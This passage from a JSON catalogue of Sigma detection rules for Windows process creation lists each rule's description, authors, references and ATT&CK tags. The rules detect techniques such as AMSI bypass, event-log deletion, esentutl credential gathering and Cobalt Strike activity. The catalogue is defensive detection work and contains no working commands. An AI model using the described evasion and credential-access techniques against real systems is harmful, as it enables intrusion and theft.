"2022/01/06", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_dumpstack_log_evasion.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/mrd0x/status/1479094189048713219", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dumpstack_log_evasion.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "4f647cfa-b598-4e12-ad69-c68dd16caef8", "value": "DumpStack.log Defender Evasion" }, { "description": "Identifies execution of nltest.exe and dsquery.exe for domain trust discovery. This technique is used by attackers to enumerate Active Directory trusts.", "meta": { "author": "E.M. Anhaus (originally from Atomic Blue Detections, Tony Lambert), oscd.community, omkar72", "creation_date": "2019/10/24", "falsepositive": [ "Legitimate use of the utilities by legitimate user for legitimate reason" ], "filename": "proc_creation_win_trust_discovery.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.harmj0y.net/blog/redteaming/a-guide-to-attacking-domain-trusts/", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1482/T1482.md", "https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/", "https://eqllib.readthedocs.io/en/latest/analytics/03e231a6-74bc-467a-acb1-e5676b0fb55e.html", "https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_trust_discovery.yml" ], "tags": [ "attack.discovery", "attack.t1482" ] }, "related": [ { "dest-uuid": "767dbf9e-df3f-45cb-8998-4903ab5f80c0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "3bad990e-4848-4a78-9530-b427d854aac0", "value": "Domain Trust Discovery" }, { "description": "Detects Registry modifications performed by Ke3chang malware in campaigns running in 2019 and 2020", "meta": { "author": "Markus Neis, Swisscom", "creation_date": "2020/06/18", "falsepositive": [ "Will need to be looked for combinations of those processes" ], "filename": "proc_creation_win_apt_ke3chang_regadd.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.verfassungsschutz.de/embed/broschuere-2020-06-bfv-cyber-brief-2020-01.pdf", "https://unit42.paloaltonetworks.com/operation-ke3chang-resurfaces-with-new-tidepool-malware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_ke3chang_regadd.yml" ], "tags": [ "attack.g0004", "attack.defense_evasion", "attack.t1562.001" ] }, "uuid": "7b544661-69fc-419f-9a59-82ccc328f205", "value": "Ke3chang Registry Key Modifications" }, { "description": "Detects capture a network trace via netsh.exe trace functionality", "meta": { "author": "Kutepov Anton, oscd.community", "creation_date": "2019/10/24", "falsepositive": [ "Legitimate administrator or user uses netsh.exe trace functionality for legitimate reason" ], "filename": "proc_creation_win_netsh_packet_capture.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://blogs.msdn.microsoft.com/canberrapfe/2012/03/30/capture-a-network-trace-without-installing-anything-capture-a-network-trace-of-a-reboot/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_netsh_packet_capture.yml" ], "tags": [ "attack.discovery", "attack.credential_access", "attack.t1040" ] }, "uuid": "d3c3861d-c504-4c77-ba55-224ba82d0118", "value": "Capture a Network Trace with netsh.exe" }, { "description": "Detects artefacts associated with activity group GALLIUM - Microsoft Threat Intelligence Center indicators released in December 2019.", "meta": { "author": "Tim Burrell", "creation_date": "2020/02/07", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_apt_gallium_sha1.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800669(v=ws.11)", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_gallium_sha1.yml" ], "tags": [ "attack.credential_access", "attack.t1212", "attack.command_and_control", "attack.t1071" ] }, "related": [ { "dest-uuid": "9c306d8d-cde7-4b4c-b6e8-d0bb16caca36", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "440a56bf-7873-4439-940a-1c8a671073c2", "value": "GALLIUM Sha1 Artefacts" }, { "description": "Detects a process spawned by the terminal service server process (this could be an indicator for an exploitation of CVE-2019-0708)", "meta": { "author": "Florian Roth", "creation_date": "2019/05/22", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_termserv_proc_spawn.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://securingtomorrow.mcafee.com/other-blogs/mcafee-labs/rdp-stands-for-really-do-patch-understanding-the-wormable-rdp-vulnerability-cve-2019-0708/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_termserv_proc_spawn.yml" ], "tags": [ "attack.initial_access", "attack.t1190", "attack.lateral_movement", "attack.t1210", "car.2013-07-002" ] }, "related": [ { "dest-uuid": "3f886f2a-874f-4333-b794-aa6075009b1c", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "9db0cf3a-a3c9-4012-8268-123b9db6fd82", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "1012f107-b8f1-4271-af30-5aed2de89b39", "value": "Terminal Service Process Spawn" }, { "description": "Detects suspicious flags used by PsExec and PAExec but no usual program name in command line", "meta": { "author": "Florian Roth, Nasreddine Bencherchali", "creation_date": "2021/05/22", "falsepositive": [ "Weird admins that rename their tools", "Software companies that bundle PsExec/PAExec with their software and rename it, so that it is less embarrassing" ], "filename": "proc_creation_win_susp_psexex_paexec_flags.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.fireeye.com/blog/threat-research/2020/10/kegtap-and-singlemalt-with-a-ransomware-chaser.html", "https://www.poweradmin.com/paexec/", "https://docs.microsoft.com/en-us/sysinternals/downloads/psexec", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_psexex_paexec_flags.yml" ], "tags": [ "attack.resource_development", "attack.t1587.001" ] }, "related": [ { "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "207b0396-3689-42d9-8399-4222658efc99", "value": "PsExec/PAExec Flags" }, { "description": "Detects cases in which an ISO files is opend within an archiver like 7Zip or Winrar, which is a sign of phishing as threat actors put small ISO files in archives as email attachments to bypass certain filters and protective measures (mark of web)", "meta": { "author": "Florian Roth", "creation_date": "2022/06/07", "falsepositive": [ "Legitimate cases in which archives contain ISO or IMG files and the user opens the archive and the image via clicking and not extraction" ], "filename": "proc_creation_win_archiver_iso_phishing.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/1ZRR4H/status/1534259727059787783", "https://app.any.run/tasks/e1fe6a62-bce8-4323-a49a-63795d9afd5d/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_archiver_iso_phishing.yml" ], "tags": [ "attack.initial_access", "attack.t1566" ] }, "uuid": "fcdf69e5-a3d3-452a-9724-26f2308bf2b1", "value": "Phishing Pattern ISO in Archive" }, { "description": "Detects use of Cobalt Strike commands accidentally entered in the CMD shell", "meta": { "author": "_pete_0, TheDFIRReport", "creation_date": "2022/05/06", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_cobaltstrike_bloopers_cmd.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://thedfirreport.com/2021/10/04/bazarloader-and-the-conti-leaks/", "https://thedfirreport.com/2022/06/16/sans-ransomware-summit-2022-can-you-detect-this/", "https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/cobalt-4-5-user-guide.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cobaltstrike_bloopers_cmd.yml" ], "tags": [ "attack.execution", "attack.t1059.003" ] }, "related": [ { "dest-uuid": "d1fcf083-a721-4223-aedf-bf8960798d62", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "647c7b9e-d784-4fda-b9a0-45c565a7b729", "value": "Operator Bloopers Cobalt Strike Commands" }, { "description": "Detects suspicious command lines used in Covenant luanchers", "meta": { "author": "Florian Roth, Jonhnathan Ribeiro, oscd.community", "creation_date": "2020/06/04", "falsepositive": "No established falsepositives", "filename": "proc_creation_win_susp_covenant.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://posts.specterops.io/covenant-v0-5-eee0507b85ba", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_covenant.yml" ], "tags": [ "attack.execution", "attack.defense_evasion", "attack.t1059.001", "attack.t1564.003" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "cbb66055-0325-4111-aca0-40547b6ad5b0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "c260b6db-48ba-4b4a-a76f-2f67644e99d2", "value": "Covenant Launcher Indicators" }, { "description": "Detects command that is used to disable or delete Windows eventlog via logman Windows utility", "meta": { "author": "Florian Roth", "creation_date": "2021/02/11", "falsepositive": [ "Legitimate deactivation by administrative staff", "Installer tools that disable services, e.g. before log collection agent installation" ], "filename": "proc_creation_win_susp_disable_eventlog.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://ss64.com/nt/logman.html", "https://twitter.com/0gtweet/status/1359039665232306183?s=21", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_disable_eventlog.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001", "attack.t1070.001" ] }, "related": [ { "dest-uuid": "6495ae23-3ab4-43c5-a94f-5638a2c31fd2", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "cd1f961e-0b96-436b-b7c6-38da4583ec00", "value": "Disable or Delete Windows Eventlog" }, { "description": "Detects attempts to disable AMSI in the command line. It is possible to bypass AMSI by disabling it before loading the main payload.", "meta": { "author": "@Kostastsale", "creation_date": "2022/11/04", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_psh_amsi_bypass_pattern_nov22.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_psh_amsi_bypass_pattern_nov22.yml" ], "tags": [ "attack.defense_evasion", "attack.t1562.001", "attack.execution" ] }, "uuid": "4f927692-68b5-4267-871b-073c45f4f6fe", "value": "PowerShell AMSI Bypass Pattern" }, { "description": "Detects Formbook like process executions that inject code into a set of files in the System32 folder, which executes a special command command line to delete the dropper from the AppData Temp folder. We avoid false positives by excluding all parent process with command line parameters.", "meta": { "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", "creation_date": "2019/09/30", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_malware_formbook.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/388d5802-aa48-4826-b069-250420504758/", "https://app.any.run/tasks/8e22486b-5edc-4cef-821c-373e945f296c/", "https://inquest.net/blog/2018/06/22/a-look-at-formbook-stealer", "https://app.any.run/tasks/62bb01ae-25a4-4180-b278-8e464a90b8d7/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_malware_formbook.yml" ], "tags": [ "attack.resource_development", "attack.t1587.001" ] }, "related": [ { "dest-uuid": "212306d8-efa4-44c9-8c2d-ed3d2e224aa0", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "032f5fb3-d959-41a5-9263-4173c802dc2b", "value": "Formbook Process Creation" }, { "description": "Detects a tscon.exe start as LOCAL SYSTEM", "meta": { "author": "Florian Roth", "creation_date": "2018/03/17", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_tscon_localsystem.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.ired.team/offensive-security/lateral-movement/t1076-rdp-hijacking-for-lateral-movement", "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6", "http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_tscon_localsystem.yml" ], "tags": [ "attack.command_and_control", "attack.t1219" ] }, "related": [ { "dest-uuid": "4061e78c-1284-44b4-9116-73e4ac3912f7", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "9847f263-4a81-424f-970c-875dab15b79b", "value": "Suspicious TSCON Start as SYSTEM" }, { "description": "Extexport.exe loads dll and is execute from other folder the original path", "meta": { "author": "frack113", "creation_date": "2021/11/26", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_extexport.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Extexport/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_extexport.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218" ] }, "related": [ { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "fb0b815b-f5f6-4f50-970f-ffe21f253f7a", "value": "Suspicious Extexport Execution" }, { "description": "Adversaries may abuse msiexec.exe to proxy execution of malicious payloads.\nMsiexec.exe is the command-line utility for the Windows Installer and is thus commonly associated with executing installation packages (.msi)\n", "meta": { "author": "frack113", "creation_date": "2022/01/16", "falsepositive": [ "Legitimate script" ], "filename": "proc_creation_win_msiexec_install_quiet.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/_st0pp3r_/status/1583914244344799235", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/msiexec", "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.007/T1218.007.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_msiexec_install_quiet.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.007" ] }, "related": [ { "dest-uuid": "365be77f-fc0e-42ee-bac8-4faf806d9336", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "79a87aa6-e4bd-42fc-a5bb-5e6fbdcd62f5", "value": "Suspicious Msiexec Quiet Install" }, { "description": "Detects RunDLL32.exe spawning explorer.exe as child, which is very uncommon, often observes Gamarue spawning the explorer.exe process in an unusual way", "meta": { "author": "elhoim, CD_ROM_", "creation_date": "2022/04/27", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_rundll32_spawn_explorer.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://redcanary.com/blog/intelligence-insights-november-2021/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_spawn_explorer.yml" ], "tags": [ "attack.defense_evasion", "attack.t1218.011" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "caa06de8-fdef-4c91-826a-7f9e163eef4b", "value": "RunDLL32 Spawning Explorer" }, { "description": "Detects the execution of whoami that has been renamed to a different name to avoid detection", "meta": { "author": "Florian Roth", "creation_date": "2021/08/12", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_renamed_whoami.yml", "level": "critical", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://app.any.run/tasks/7eaba74e-c1ea-400f-9c17-5e30eee89906/", "https://brica.de/alerts/alert/public/1247926/agent-tesla-keylogger-delivered-inside-a-power-iso-daa-archive/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_whoami.yml" ], "tags": [ "attack.discovery", "attack.t1033", "car.2016-03-001" ] }, "uuid": "f1086bf7-a0c4-4a37-9102-01e573caf4a0", "value": "Renamed Whoami Execution" }, { "description": "Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.", "meta": { "author": "Austin Songer (@austinsonger), Nasreddine Bencherchali (update)", "creation_date": "2022/12/23", "falsepositive": [ "Legitimate use of the library for administrative activity" ], "filename": "proc_creation_win_aadinternals_cmdlets_execution.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://o365blog.com/aadinternals/", "https://github.com/Gerenios/AADInternals", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_aadinternals_cmdlets_execution.yml" ], "tags": [ "attack.execution", "attack.reconnaissance", "attack.discovery", "attack.credential_access", "attack.impact" ] }, "uuid": "c86500e9-a645-4680-98d7-f882c70c1ea3", "value": "AADInternals PowerShell Cmdlets Execution - ProccessCreation" }, { "description": "Detect use of X509Enrollment", "meta": { "author": "frack113", "creation_date": "2022/12/23", "falsepositive": [ "Legitimate administrative script" ], "filename": "proc_creation_win_x509enrollment.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=42", "https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=41", "https://learn.microsoft.com/en-us/dotnet/api/microsoft.hpc.scheduler.store.cx509enrollmentwebclassfactoryclass?view=hpc-sdk-5.1.6115", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_x509enrollment.yml" ], "tags": "No established tags" }, "uuid": "114de787-4eb2-48cc-abdb-c0b449f93ea4", "value": "Suspicious X509Enrollment - Process Creation" }, { "description": "Detects suspicious print spool service (spoolsv.exe) child processes.", "meta": { "author": "Justin C. (@endisphotic), @dreadphones (detection), Thomas Patzke (Sigma rule)", "creation_date": "2021/07/11", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_spoolsv_child_processes.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/microsoft/Microsoft-365-Defender-Hunting-Queries/blob/efa17a600b43c897b4b7463cc8541daa1987eeb4/Exploits/Print%20Spooler%20RCE/Suspicious%20Spoolsv%20Child%20Process.md", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_spoolsv_child_processes.yml" ], "tags": [ "attack.execution", "attack.t1203", "attack.privilege_escalation", "attack.t1068" ] }, "related": [ { "dest-uuid": "be2dcee9-a7a7-4e38-afd6-21b31ecc3d63", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "b21c3b2d-02e6-45b1-980b-e69051040839", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "dcdbc940-0bff-46b2-95f3-2d73f848e33b", "value": "Suspicious Spool Service Child Process" }, { "description": "Detects rundll32 execution where the DLL is located on a remote location (share)", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/08/10", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_rundll32_unc_path.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.cybereason.com/blog/rundll32-the-infamous-proxy-for-executing-malicious-code", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_unc_path.yml" ], "tags": [ "attack.defense_evasion", "attack.execution", "attack.t1021.002", "attack.t1218.011" ] }, "related": [ { "dest-uuid": "045d0922-2310-4e60-b5e4-3302302cb3c5", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "5cdb711b-5740-4fb2-ba88-f7945027afac", "value": "Rundll32 UNC Path Execution" }, { "description": "Detects non-interactive PowerShell activity by looking at powershell.exe with not explorer.exe as a parent.", "meta": { "author": "Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements)", "creation_date": "2019/09/12", "falsepositive": [ "Legitimate programs executing PowerShell scripts" ], "filename": "proc_creation_win_non_interactive_powershell.yml", "level": "low", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://threathunterplaybook.com/notebooks/windows/02_execution/WIN-190410151110.html", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_non_interactive_powershell.yml" ], "tags": [ "attack.execution", "attack.t1059.001" ] }, "related": [ { "dest-uuid": "970a3432-3237-47ad-bcca-7d8cbb217736", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "f4bbd493-b796-416e-bbf2-121235348529", "value": "Non Interactive PowerShell" }, { "description": "Detects execution of renamed paexec via imphash and executable product string", "meta": { "author": "Jason Lynch", "creation_date": "2019/04/17", "falsepositive": [ "Unknown imphashes" ], "filename": "proc_creation_win_renamed_paexec.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "sha256=01a461ad68d11b5b5096f45eb54df9ba62c5af413fa9eb544eacb598373a26bc", "https://summit.fireeye.com/content/dam/fireeye-www/summit/cds-2018/presentations/cds18-technical-s05-att&cking-fin7.pdf", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_paexec.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036.003", "attack.g0046", "car.2013-05-009", "attack.execution", "attack.t1569.002" ] }, "related": [ { "dest-uuid": "bd5b58a4-a52d-4a29-bc0d-3f1d3968eb6b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "f1951e8a-500e-4a26-8803-76d95c4554b4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7b0666ad-3e38-4e3d-9bab-78b06de85f7b", "value": "Execution of Renamed PaExec" }, { "description": "Conti recommendation to its affiliates to use esentutl to access NTDS dumped file. Trickbot also uses this utilities to get MSEdge info via its module pwgrab.", "meta": { "author": "sam0x90", "creation_date": "2021/08/06", "falsepositive": [ "To be determined" ], "filename": "proc_creation_win_susp_esentutl_params.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://attack.mitre.org/software/S0404/", "https://twitter.com/vxunderground/status/1423336151860002816", "https://thedfirreport.com/2021/08/01/bazarcall-to-conti-ransomware-via-trickbot-and-cobalt-strike/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_esentutl_params.yml" ], "tags": [ "attack.credential_access", "attack.t1003", "attack.t1003.003" ] }, "related": [ { "dest-uuid": "0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "edf91964-b26e-4b4a-9600-ccacd7d7df24", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "7df1713a-1a5b-4a4b-a071-dc83b144a101", "value": "Esentutl Gather Credentials" }, { "description": "Detects a renamed dctask64.exe used for process injection, command execution, process creation with a signed binary by ZOHO Corporation", "meta": { "author": "Florian Roth", "creation_date": "2020/01/28", "falsepositive": [ "Unknown yet" ], "filename": "proc_creation_win_susp_renamed_dctask64.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/gN3mes1s/status/1222088214581825540", "https://twitter.com/gN3mes1s/status/1222095371175911424", "https://twitter.com/gN3mes1s/status/1222095963789111296", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_renamed_dctask64.yml" ], "tags": [ "attack.defense_evasion", "attack.t1036", "attack.t1055.001", "attack.t1202", "attack.t1218" ] }, "related": [ { "dest-uuid": "f4599aa0-4f85-4a32-80ea-fc39dc965945", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "3b0e52ce-517a-4614-a523-1bd5deef6c5e", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" }, { "dest-uuid": "457c7820-d331-465a-915e-42f85500ccc4", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "340a090b-c4e9-412e-bb36-b4b16fe96f9b", "value": "Renamed ZOHO Dctask64" }, { "description": "Remote.exe is part of WinDbg in the Windows SDK and can be used for AWL bypass and running remote files.", "meta": { "author": "Christopher Peacock @SecurePeacock, SCYTHE @scythe_io", "creation_date": "2022/06/02", "falsepositive": [ "Approved installs of Windows SDK with Debugging Tools for Windows (WinDbg)." ], "filename": "proc_creation_win_lolbin_remote.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/OtherMSBinaries/Remote/", "https://blog.thecybersecuritytutor.com/Exeuction-AWL-Bypass-Remote-exe-LOLBin/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_remote.yml" ], "tags": [ "attack.defense_evasion", "attack.t1127" ] }, "related": [ { "dest-uuid": "ff25900d-76d5-449b-a351-8824e62fc81b", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "4eddc365-79b4-43ff-a9d7-99422dc34b93", "value": "Use of Remote.exe" }, { "description": "Detects usage of OpenConsole binary as a LOLBIN to launch other binaries to bypass application Whitelisting", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/06/16", "falsepositive": [ "Legitimate use by an administrator" ], "filename": "proc_creation_win_lolbin_openconsole.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://twitter.com/nas_bench/status/1537563834478645252", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_openconsole.yml" ], "tags": [ "attack.execution", "attack.t1059" ] }, "related": [ { "dest-uuid": "7385dfaf-6886-4229-9ecd-6fd678040830", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "814c95cc-8192-4378-a70a-f1aafd877af1", "value": "Use of OpenConsole" }, { "description": "Detects the execution GMER tool based on image and hash fields.", "meta": { "author": "Nasreddine Bencherchali", "creation_date": "2022/10/05", "falsepositive": [ "Unlikely" ], "filename": "proc_creation_win_gmer_execution.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "http://www.gmer.net/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_gmer_execution.yml" ], "tags": [ "attack.defense_evasion" ] }, "uuid": "9082ff1f-88ab-4678-a3cc-5bcff99fc74d", "value": "GMER - Rootkit Detector and Remover Execution" }, { "description": "Detects suspicious process related to rundll32 based on command line that invokes inline VBScript as seen being used by UNC2452", "meta": { "author": "Florian Roth", "creation_date": "2021/03/05", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_susp_rundll32_inline_vbs.yml", "level": "high", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_rundll32_inline_vbs.yml" ], "tags": [ "attack.defense_evasion", "attack.t1055" ] }, "uuid": "1cc50f3f-1fc8-4acf-b2e9-6f172e1fdebd", "value": "Suspicious Rundll32 Invoking Inline VBScript" }, { "description": "An adversary might use WMI to list Processes running on the compromised host or list installed Software hotfix and patches.", "meta": { "author": "frack113", "creation_date": "2022/01/01", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_wmic_reconnaissance.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md", "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/wmic", "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_reconnaissance.yml" ], "tags": [ "attack.execution", "attack.t1047" ] }, "related": [ { "dest-uuid": "01a5a209-b94c-450b-b7f9-946497d91055", "tags": [ "estimative-language:likelihood-probability=\"almost-certain\"" ], "type": "related-to" } ], "uuid": "221b251a-357a-49a9-920a-271802777cc0", "value": "WMI Process Reconnaissance" }, { "description": "Detect use of Ilasm.exe to compile c# code into dll or exe.", "meta": { "author": "frack113", "creation_date": "2022/05/07", "falsepositive": [ "Unknown" ], "filename": "proc_creation_win_lolbin_ilasm.yml", "level": "medium", "logsource.category": "process_creation", "logsource.product": "windows", "refs": [ "https://lolbas-project.github.io/lolbas/Binaries/Ilasm/", "https://www.echotrail.io/insights/search/ilasm.exe", 